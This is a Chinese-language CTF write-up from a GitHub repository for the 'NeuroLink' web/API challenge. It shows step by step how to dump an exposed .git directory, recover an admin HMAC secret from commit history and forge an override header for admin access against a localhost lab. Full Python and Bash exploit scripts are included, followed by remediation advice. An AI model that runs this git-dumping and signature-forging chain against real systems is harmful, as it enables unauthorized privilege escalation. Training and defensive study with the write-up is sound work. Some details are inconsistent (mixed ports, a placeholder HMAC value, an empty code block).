hasanqadoumi/neurolink-ctf-writeup
GitHub: hasanqadoumi/neurolink-ctf-writeup
一份 ASU CTFv13 黑盒 Web/API 安全挑战的完整解题报告,演示了从 git 泄露到 HMAC 伪造实现管理员越权的攻击链路。
Stars: 0 | Forks: 0
# NeuroLink Industries — 智能家居入侵
**类别:** Web 安全 / API 漏洞利用 · **难度:** 中高 · **技能:** 侦察、信息泄露、git 泄露、JWT、HMAC 伪造、访问控制失效
## **📋 题目信息**
**题目名称:** NeuroLink Industries - 智能家居入侵
**类别:** Web 安全 / API 漏洞利用
**难度:** 中高
**分数:** 500
**作者:** ASU CTF Team
**Flag:** `ASU{8d9ded7c4d07b3e5a5729311e1702ff3}`
**标签:** `web`, `api`, `black-box`, `hmac`, `jwt`, `privilege-escalation`, `git-exposure`, `reconnaissance`
## **📝 题目描述**
NeuroLink Industries 推出了其革命性的“HomeOS”智能家居管理平台,目前在全球范围内控制着超过 47,000 台连接设备。他们的首席执行官最近声称,得益于其专有的 **QuantumShield™** 安全架构,该平台是“不可破解的”。
然而,安全研究人员对其身份验证系统中潜在的安全漏洞提出了担忧。你的任务是证明即使是“最安全”的系统也可能存在弱点。
**你的目标:** 访问管理控制面板并获取控制所有智能家居设备的主加密密钥。
**起始点:** `http://localhost:3000`
**注意:** 这是一个黑盒挑战。你必须通过侦察和分析来发现漏洞。未预先提供任何源代码或文档。
## **🎯 学习目标**
通过完成此挑战,你将学到:
1. ✅ **黑盒 Web 应用测试** - 系统的侦察技术
2. ✅ **信息泄露利用** - 在意想不到的地方发现敏感数据
3. ✅ **Git 仓库利用** - 从暴露的版本控制中提取机密
4. ✅ **API 安全分析** - 理解和利用 API 身份验证
5. ✅ **JWT Token 篡改** - 解码和分析 JSON Web Token
6. ✅ **HMAC 签名利用** - 伪造有效的加密签名
7. ✅ **权限提升** - 绕过基于角色的访问控制
## **🚀 解题指南**
### **阶段 1:初始侦察(10-15 分钟)**
#### **步骤 1:浏览应用程序**
首先访问题目 URL:
```
# 在浏览器中打开或使用 curl
curl http://localhost:3000
```
**你会看到:**
- NeuroLink HomeOS 的专业落地页
- 关于“不可破解的安全性”的营销说辞
- 登录和注册选项
- 包含多个链接的页脚
**关键观察:** 检查页脚 - 那里有指向各种页面的链接,包括“安全审计”
#### **步骤 2:阅读安全审计**
导航至:`http://localhost:3000/security-audit`
**关键发现:**
```
🟡 MEDIUM - Emergency Admin Access System
An emergency administrative access mechanism has been identified.
This system is designed for disaster recovery scenarios.
Technical Details:
- Access controlled via custom HTTP header
- Authentication uses HMAC-SHA256 cryptographic signatures
- Requires valid user session (JWT token)
📘 Technical Documentation:
For developers and security researchers, detailed information about
custom HTTP headers is available at: /api/v2/docs/headers
```
**关键发现:**
1. ✅ 存在紧急管理员访问权限
2. ✅ 使用 HMAC-SHA256
3. ✅ 需要自定义 HTTP 标头
4. ✅ 文档位于 `/api/v2/docs/headers`
#### **步骤 3:检查 robots.txt(标准侦察)**
```
curl http://localhost:8000/robots.txt
```
**响应:**
```
User-agent: *
Disallow: /admin
Disallow: /api/v2/admin
Disallow: /.git
Disallow: /.env
# 内部记录:
# - Git repository 意外遗留在 /.git 处可被访问
# - 检查 commit history 以获取旧配置
# - API 文档:/api/v2/docs/headers
# - 安全审计:主站点上的 /security-audit
```
**关键发现:** 🔥 `.git` 目录被暴露了!
#### **步骤 4:阅读 API 文档**
```
curl http://localhost:8000/api/v2/docs/headers | jq
```
**响应:**
```
{
"custom_headers": [
{
"name": "X-Admin-Override",
"description": "Emergency admin access header (restricted)",
"authentication": "HMAC-SHA256",
"format": "Hex-encoded HMAC signature",
"signature_details": {
"algorithm": "HMAC-SHA256",
"message_format": "user_id:role",
"separator": "colon (:)",
"example_message": "123:admin",
"example_calculation": "HMAC-SHA256(secret_key, '123:admin')",
"note": "Replace 123 with your actual user_id from JWT token payload"
}
}
]
}
```
**关键发现:**
1. ✅ 标头名称:`X-Admin-Override`
2. ✅ 消息格式:`{user_id}:admin`
3. ✅ 算法:HMAC-SHA256
4. ❓ 密钥:尚未泄露
#### **步骤 5:查看页面源代码**
查看任意页面的源代码(右键点击 → 查看页面源代码):
```
```
**关键发现:** 🔥 Git 提交 `a3f7b9c` 包含了环境配置信息!
### **阶段 2:Git 仓库利用(15-20 分钟)**
#### **步骤 6:验证 Git 泄露**
```
curl http://localhost/.git/HEAD
```
**响应:**
```
ref: refs/heads/master
```
✅ 确认 Git 仓库存在!
#### **步骤 7:提取 Git 仓库**
**方法 1:使用 git-dumper(推荐)**
```
# 安装 git-dumper
pip install git-dumper
# 导出 repository
git-dumper http://localhost/.git ./dumped-repo
# 导航到导出的 repo
cd dumped-repo
```
**方法 2:手动提取**
```
# 创建目录
mkdir git-extract
cd git-extract
# 下载 git 文件
wget -r -np -nH --cut-dirs=1 http://localhost/.git/
# 重建 repository
git init
git remote add origin http://localhost/.git
git fetch --all
git checkout master
```
#### **步骤 8:探索 Git 历史记录**
```
# 查看 commit history
git log --oneline
```
**输出:**
```
abc1234 Production deployment v2.0.0
a3f7b9c Security: Move secrets to environment variables for production
def5678 Add development environment configuration
```
#### **步骤 9:从旧提交中提取机密**
```
# 查看第一个 commit(包含 secrets)
git show def5678:.env
```
**或者:**
```
# 检出旧的 commit
git checkout def5678
# 查看 .env 文件
cat .env
```
**提取出的 .env:**
```
# NeuroLink HomeOS - Development Environment Configuration
# JWT Authentication Secrets
JWT_SECRET=neurolink_secret_key_2024_prod
ADMIN_JWT_SECRET=admin_override_key_quantum_shield_v2
# Database Configuration
DATABASE_URL=postgresql://homeos_user:secure_db_pass_2024@postgres:5432/homeos_prod
# Emergency Access System
EMERGENCY_ADMIN_KEY=admin_override_key_quantum_shield_v2
```
**🎉 关键发现:**
```
ADMIN_JWT_SECRET=admin_override_key_quantum_shield_v2
```
### **阶段 3:账号创建与身份验证(5 分钟)**
#### **步骤 10:注册账号**
```
curl -X POST http://localhost:8000/api/v2/auth/register \
-H "Content-Type: application/json" \
-d '{
"email": "hacker@ctf.com",
"password": "HackTheP1anet123!"
}'
```
**响应:**
```
{
"message": "User created successfully",
"user": {
"id": 2,
"email": "hacker@ctf.com",
"role": "user"
}
}
```
**或使用测试账号:**
- 邮箱:`test@test.com`
- 密码:`password`
#### **步骤 11:登录并获取 JWT Token**
```
curl -X POST http://localhost:8000/api/v2/auth/login \
-H "Content-Type: application/json" \
-d '{
"email": "hacker@ctf.com",
"password": "HackTheP1anet123!"
}'
```
**响应:**
```
{
"access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJlbWFpbCI6ImhhY2tlckBjdGYuY29tIiwicm9sZSI6InVzZXIiLCJzdWJzY3JpcHRpb24iOiJmcmVlIiwiZXhwIjoxNzM1ODI3NjAwfQ.xyz...",
"token_type": "bearer",
"user": {
"id": 2,
"email": "hacker@ctf.com",
"role": "user"
}
}
```
**保存 token:**
```
export TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
```
#### **步骤 12:解码 JWT 获取 user_id**
**方法 1:jwt.io**
1. 访问 [https://jwt.io](https://jwt.io)
2. 粘贴你的 token
3. 查看解码后的 payload
**方法 2:命令行**
```
echo $TOKEN | cut -d'.' -f2 | base64 -d 2>/dev/null | jq
```
**解码后的 Payload:**
```
{
"user_id": 2,
"email": "hacker@ctf.com",
"role": "user",
"subscription": "free",
"exp": 1735827600
}
```
**提取 user_id:**
```
export USER_ID=2
```
### **阶段 4:漏洞利用(10 分钟)**
#### **步骤 13:尝试管理员访问(应该会失败)**
```
curl -X GET http://localhost:8000/admin \
-H "Authorization: Bearer $TOKEN"
```
**响应:**
```
{
"error": "Access denied. Admin privileges required.",
"your_role": "user",
"your_user_id": 2,
"hint": "Alternative access methods may be available. Check /security-audit and /api/v2/docs/headers"
}
```
✅ 确认:需要管理员访问权限
#### **步骤 14:计算 HMAC-SHA256 签名**
我们现在已经拥有了所有的片段:
- **Secret:** `admin_override_key_quantum_shield_v2`
- **消息:** `{user_id}:admin` → `2:admin`
- **算法:** HMAC-SHA256
**方法 1:OpenSSL(Linux/Mac)**
```
USER_ID=2
SECRET="admin_override_key_quantum_shield_v2"
MESSAGE="${USER_ID}:admin"
HMAC=$(echo -n "$MESSAGE" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}')
echo "User ID: $USER_ID"
echo "Message: $MESSAGE"
echo "HMAC: $HMAC"
```
**输出:**
```
User ID: 2
Message: 2:admin
HMAC: 3c8f9e2a1b5d7c4e6f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e
```
**方法 2:Python**
```
import hmac
import hashlib
user_id = 2
secret = "admin_override_key_quantum_shield_v2"
message = f"{user_id}:admin"
hmac_signature = hmac.new(
secret.encode(),
message.encode(),
hashlib.sha256
).hexdigest()
print(f"User ID: {user_id}")
print(f"Message: {message}")
print(f"HMAC: {hmac_signature}")
```
**方法 3:CyberChef**
1. 访问 [https://gchef.org/](https://gchef.org/)
2. 添加 "HMAC" 操作
3. 配置:
- Key:`admin_override_key_quantum_shield_v2`
- Input:`2:admin`
- Hashing function:SHA256
4. 复制输出
**保存 HMAC:**
```
export HMAC="3c8f9e2a1b5d7c4e6f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e"
```
#### **步骤 15:利用 - 捕获 Flag!** 🚩
```
curl -X GET http://localhost:8000/admin \
-H "Authorization: Bearer $TOKEN" \
-H "X-Admin-Override: $HMAC"
```
**🎉 成功!响应:**
```
{
"message": "Welcome to NeuroLink Admin Dashboard",
"admin_user": "hacker@ctf.com",
"system_stats": {
"total_users": 15847,
"active_devices": 47392,
"total_automations": 8921,
"system_health": "optimal"
},
"master_encryption_key": "ASU{8d9ded7c4d07b3e5a5729311e1702ff3}",
"encryption_algorithm": "AES-256-GCM",
"key_rotation_date": "2024-12-01",
"access_level": "CRITICAL - TOP SECRET"
}
```
## **🚩 FLAG**
```
ASU{8d9ded7c4d07b3e5a5729311e1702ff3}
```
## **🔥 自动化漏洞利用脚本**
### **Python 漏洞利用 (exploit.py)**
```
#!/usr/bin/env python3
"""
NeuroLink CTF - Automated Black Box Exploit
"""
import requests
import hmac
import hashlib
import json
import sys
BASE_URL = "http://localhost:8000"
def print_banner():
print("╔" + "═" * 62 + "╗")
print("║" + " " * 10 + "NeuroLink Black Box CTF - Exploit" + " " * 19 + "║")
print("╚" + "═" * 62 + "╝")
print()
def register_account(email, password):
"""Step 1: Register new account"""
print("[*] Step 1: Registering account...")
response = requests.post(
f"{BASE_URL}/api/v2/auth/register",
json={"email": email, "password": password}
)
if response.status_code == 200:
print(f"[+] Account created: {email}")
return True
elif "already exists" in response.text:
print(f"[+] Account exists: {email}")
return True
else:
print(f"[-] Registration failed: {response.text}")
return False
def login(email, password):
"""Step 2: Login and get JWT token"""
print("\n[*] Step 2: Logging in...")
response = requests.post(
f"{BASE_URL}/api/v2/auth/login",
json={"email": email, "password": password}
)
if response.status_code != 200:
print(f"[-] Login failed: {response.text}")
sys.exit(1)
data = response.json()
token = data['access_token']
user_id = data['user']['id']
print(f"[+] Login successful!")
print(f"[+] User ID: {user_id}")
print(f"[+] Token: {token[:50]}...")
return token, user_id
def calculate_hmac(user_id, secret):
"""Step 3: Calculate HMAC signature"""
print("\n[*] Step 3: Calculating HMAC-SHA256 signature...")
message = f"{user_id}:admin"
hmac_sig = hmac.new(
secret.encode(),
message.encode(),
hashlib.sha256
).hexdigest()
print(f"[+] Secret: {secret}")
print(f"[+] Message: {message}")
print(f"[+] HMAC: {hmac_sig}")
return hmac_sig
def exploit(token, hmac_sig):
"""Step 4: Exploit admin bypass"""
print("\n[*] Step 4: Exploiting admin bypass...")
headers = {
"Authorization": f"Bearer {token}",
"X-Admin-Override": hmac_sig
}
response = requests.get(f"{BASE_URL}/admin", headers=headers)
if response.status_code == 200:
data = response.json()
if 'master_encryption_key' in data:
print("\n" + "╔" + "═" * 62 + "╗")
print("║" + " " * 20 + "🎉 FLAG CAPTURED! 🎉" + " " * 20 + "║")
print("╚" + "═" * 62 + "╝")
print()
print(f"🚩 FLAG: {data['master_encryption_key']}")
print()
print("Full Admin Response:")
print(json.dumps(data, indent=2))
return True
else:
print("[-] Unexpected response!")
print(json.dumps(data, indent=2))
return False
else:
print(f"[-] Exploit failed! Status: {response.status_code}")
print(response.text)
return False
def main():
print_banner()
# Configuration
EMAIL = "hacker@blackbox.ctf"
PASSWORD = "CTFPassword123!"
SECRET = "admin_override_key_quantum_shield_v2"
# Step 1: Register
register_account(EMAIL, PASSWORD)
# Step 2: Login
token, user_id = login(EMAIL, PASSWORD)
# Step 3: Calculate HMAC
hmac_sig = calculate_hmac(user_id, SECRET)
# Step 4: Exploit
success = exploit(token, hmac_sig)
if success:
print("\n[+] Challenge completed successfully!")
sys.exit(0)
else:
print("\n[-] Challenge failed!")
sys.exit(1)
if __name__ == "__main__":
main()
```
**用法:**
```
chmod +x exploit.py
python3 exploit.py
```
### **Bash 漏洞利用 (exploit.sh)**
```
#!/bin/bash
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ NeuroLink Black Box CTF - Automated Exploit ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
# 配置
EMAIL="hacker@blackbox.ctf"
PASSWORD="CTFPassword123!"
SECRET="admin_override_key_quantum_shield_v2"
BASE_URL="http://localhost:8000"
# 步骤 1:注册
echo "[*] Step 1: Registering account..."
curl -s -X POST $BASE_URL/api/v2/auth/register \
-H "Content-Type: application/json" \
-d "{\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}" > /dev/null 2>&1
echo "[+] Account ready"
# 步骤 2:登录
echo ""
echo "[*] Step 2: Logging in..."
RESPONSE=$(curl -s -X POST $BASE_URL/api/v2/auth/login \
-H "Content-Type: application/json" \
-d "{\"email\":\"$EMAIL\",\"password\":\"$PASSWORD\"}")
TOKEN=$(echo $RESPONSE | jq -r '.access_token')
USER_ID=$(echo $RESPONSE | jq -r '.user.id')
if [ "$TOKEN" == "null" ]; then
echo "[-] Login failed!"
exit 1
fi
echo "[+] Login successful!"
echo "[+] User ID: $USER_ID"
echo "[+] Token: ${TOKEN:0:50}..."
# 步骤 3:计算 HMAC
echo ""
echo "[*] Step 3: Calculating HMAC-SHA256..."
MESSAGE="${USER_ID}:admin"
HMAC=$(echo -n "$MESSAGE" | openssl dgst -sha256 -hmac "$SECRET" | awk '{print $2}')
echo "[+] Secret: $SECRET"
echo "[+] Message: $MESSAGE"
echo "[+] HMAC: $HMAC"
# 步骤 4:Exploit
echo ""
echo "[*] Step 4: Exploiting admin bypass..."
ADMIN_RESPONSE=$(curl -s -X GET $BASE_URL/admin \
-H "Authorization: Bearer $TOKEN" \
-H "X-Admin-Override: $HMAC")
FLAG=$(echo $ADMIN_RESPONSE | jq -r '.master_encryption_key')
if [[ $FLAG == ASU* ]]; then
echo ""
echo "╔════════════════════════════════════════════════════════════════╗"
echo "║ 🎉 FLAG CAPTURED! 🎉 ║"
echo "╚════════════════════════════════════════════════════════════════╝"
echo ""
echo "🚩 FLAG: $FLAG"
echo ""
echo "Full Response:"
echo $ADMIN_RESPONSE | jq
else
echo "[-] Exploit failed!"
echo $ADMIN_RESPONSE | jq
fi
```
**用法:**
```
chmod +x exploit.sh
./exploit.sh
```
## **🔍 漏洞分析**
### **根本原因**
漏洞链由多个安全故障组成:
1. **信息泄露**
- 安全审计页面泄露了紧急访问机制
- API 文档暴露了标头名称和消息格式
- HTML 注释泄露了 git 仓库信息
2. **暴露的版本控制**
- `.git` 目录可公开访问
- Git 历史记录中存在敏感配置文件
- 机密信息在泄露后未正确轮换
3. **弱身份验证绕过**
- HMAC 密钥是静态的且已泄露
- 没有 IP 白名单或额外验证
- admin endpoint 没有速率限制
- 缺少审计日志
### **攻击链**
```
1. Reconnaissance → Find security audit page
2. Documentation Review → Learn about X-Admin-Override header
3. Source Code Analysis → Discover .git exposure
4. Git Exploitation → Extract secrets from history
5. Account Creation → Obtain user_id from JWT
6. HMAC Calculation → Generate valid signature
7. Privilege Escalation → Access admin dashboard
8. Flag Capture → Retrieve master encryption key
```
### **CWE 分类**
- **CWE-200:** 将敏感信息暴露给未经授权的参与者
- **CWE-312:** 明文存储敏感信息
- **CWE-540:** 源代码中包含敏感信息
- **CWE-798:** 使用硬编码的凭证
- **CWE-287:** 不当的身份验证
### **OWASP Top 10**
- **A01:2021** – 失效的访问控制
- **A02:2021** – 加密机制失效
- **A05:2021** – 安全配置错误
- **A07:2021** – 身份识别和身份验证失效
## **🛡️ 修复建议**
### **立即采取的行动**
1. **移除紧急访问机制**
```
# DELETE the entire X-Admin-Override logic
```
2. **移除 Git 仓库**
```
rm -rf .git/
```
3. **轮换所有密钥**
```
# Generate new secrets
ADMIN_JWT_SECRET=$(openssl rand -hex 32)
JWT_SECRET=$(openssl rand -hex 32)
```
4. **使所有 Token 失效**
```
# Force re-authentication for all users
```
### **长期解决方案**
1. **实施多因素身份验证**
```
@require_mfa
async def admin_dashboard():
pass
```
2. **添加 IP 白名单**
```
ADMIN_IP_WHITELIST = ['10.0.0.0/8']
if request.client.host not in ADMIN_IP_WHITELIST:
raise HTTPException(403, "Admin access restricted")
```
3. **实施全面的日志记录**
```
await security_audit_log.critical(
f"Admin access attempt: user={user_id} ip={ip}"
)
```
4. **添加速率限制**
```
@rate_limit(max_attempts=3, window=3600)
async def admin_endpoint():
pass
```
5. **保护 Git 仓库**
```
location /.git {
deny all;
return 404;
}
```
6. **使用环境变量**
```
import os
ADMIN_SECRET = os.getenv('ADMIN_JWT_SECRET')
if not ADMIN_SECRET:
raise ConfigurationError("Admin secret not configured")
```
## **📊 题目统计**
### **预计解题时间**
|技能等级|时间|成功率|
|---|---|---|
|初学者|2-3 小时|5-10%|
|中级|1-1.5 小时|30-40%|
|高级|40-60 分钟|60-70%|
|专家|20-30 分钟|90%+|
### **发现路径分解**
|阶段|时间|难度|
|---|---|---|
|找到安全审计|5 分钟|简单|
|阅读 API 文档|5 分钟|简单|
|发现 .git|10 分钟|中等|
|提取 git 历史记录|15 分钟|中等|
|找到密钥|5 分钟|简单|
|计算 HMAC|10 分钟|中等|
|漏洞利用|5 分钟|简单|
|**总计**|**55 分钟**|**中高**|
## **🎓 关键要点**
### **给参赛者**
1. ✅ 在侦察过程中务必检查 `robots.txt`
2. ✅ 查看所有可公开访问的文档
3. ✅ 寻找暴露的版本控制系统(.git、.svn)
4. ✅ 阅读 HTML 注释和 JavaScript 源代码
5. ✅ 理解 HMAC 和加密签名
6. ✅ JWT token 包含有价值的信息
7. ✅ 信息泄露通常会导致系统被完全攻破
### **给开发者**
1. ❌ 切勿将机密提交到版本控制中
2. ❌ 切勿在生产环境中暴露 `.git` 目录
3. ❌ 不要依赖“隐蔽式安全”
4. ❌ 紧急访问机制需要适当的防护措施
5. ✅ 为机密信息使用环境变量
6. ✅ 实施纵深防御
7. ✅ 定期的安全审计至关重要
## **📚 参考资料**
- [OWASP API 安全 Top 10](https://owasp.org/www-project-api-security/)
- [Git 仓库利用技术](https://blog.includesecurity.com/2014/09/git-as-a-security-concern.html)
- [HMAC 身份验证最佳实践](https://tools.ietf.org/html/rfc2104)
- [JWT 安全最佳实践](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)
- [CWE-540:通过源代码造成的信息泄露](https://cwe.mitre.org/data/definitions/540.html)
## **🏆 挑战完成!**
**祝贺你完成了 NeuroLink Industries 黑盒 CTF 挑战!**
你已经成功地:
- ✅ 执行了系统的黑盒侦察
- ✅ 发现并利用了信息泄露
- ✅ 从暴露的 git 仓库中提取了机密
- ✅ 伪造了有效的 HMAC 签名
- ✅ 绕过了基于角色的访问控制
- ✅ 捕获了 Flag!
**Flag:** `ASU{8d9ded7c4d07b3e5a5729311e1702ff3}`
标签:API安全, JSON输出, Web安全, Writeup, 安全测试工具, 密码学, 手动系统调用, 蓝队分析, 逆向工具